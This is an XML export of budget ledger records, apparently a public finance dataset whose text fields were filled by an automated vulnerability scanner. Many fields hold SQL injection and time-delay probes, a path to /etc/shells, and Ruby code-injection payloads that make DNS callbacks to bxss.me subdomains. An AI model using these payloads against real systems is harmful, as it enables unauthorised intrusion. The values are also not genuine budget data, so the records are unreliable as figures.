<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>19715128</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1axaQx5CQ</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1OIxUgYOA'; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=25</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"||sleep(27*1000)*tuspuj||"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||sleep(27*1000)*hndzeh||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"&amp;&amp;sleep(27*1000)*glxbsd&amp;&amp;"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'&amp;&amp;sleep(27*1000)*temsnt&amp;&amp;'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'||sleep(27*1000)*ttodbl||'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU"&amp;&amp;sleep(27*1000)*dbshra&amp;&amp;"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>19983413</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1"&amp;&amp;sleep(27*1000)*nlanru&amp;&amp;"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'&amp;&amp;sleep(27*1000)*zjjcsy&amp;&amp;'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'"()</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'||sleep(27*1000)*wlikaz||'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1"&amp;&amp;sleep(27*1000)*klwwjp&amp;&amp;"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'&amp;&amp;sleep(27*1000)*rdrpwk&amp;&amp;'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"||sleep(27*1000)*bkusgz||"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"&amp;&amp;sleep(27*1000)*xnrjdd&amp;&amp;"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'&amp;&amp;sleep(27*1000)*oqrwog&amp;&amp;'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU"||sleep(27*1000)*cwvqmk||"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1"||sleep(27*1000)*rpwysh||"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>!(()&amp;&amp;!|*|*|</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>/etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'+'A'.concat(70-3).concat(22*4).concat(98).concat(68).concat(104).concat(81)+(require'socket'
Socket.gethostbyname('hitcq'+'qoomvfwb2e1f3.bxss.me.')[3].to_s)+'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'+'A'.concat(70-3).concat(22*4).concat(109).concat(81).concat(117).concat(75)+(require'socket'
Socket.gethostbyname('hituv'+'cadcxfwe1990b.bxss.me.')[3].to_s)+'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>"+"A".concat(70-3).concat(22*4).concat(114).concat(67).concat(97).concat(65)+(require"socket"
Socket.gethostbyname("hityr"+"zqungfxr5b769.bxss.me.")[3].to_s)+"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'A'.concat(70-3).concat(22*4).concat(121).concat(67).concat(97).concat(78)+(require'socket'
Socket.gethostbyname('hityw'+'juoewuze09b7a.bxss.me.')[3].to_s)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'+'A'.concat(70-3).concat(22*4).concat(99).concat(88).concat(102).concat(90)+(require'socket'
Socket.gethostbyname('hittt'+'knnlslrqed474.bxss.me.')[3].to_s)+'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>"+"A".concat(70-3).concat(22*4).concat(100).concat(65).concat(117).concat(76)+(require"socket"
Socket.gethostbyname("hittw"+"dybqhgudba228.bxss.me.")[3].to_s)+"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>^(#$!@#$)(()))******</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>!(()&amp;&amp;!|*|*|</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>^(#$!@#$)(()))******</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
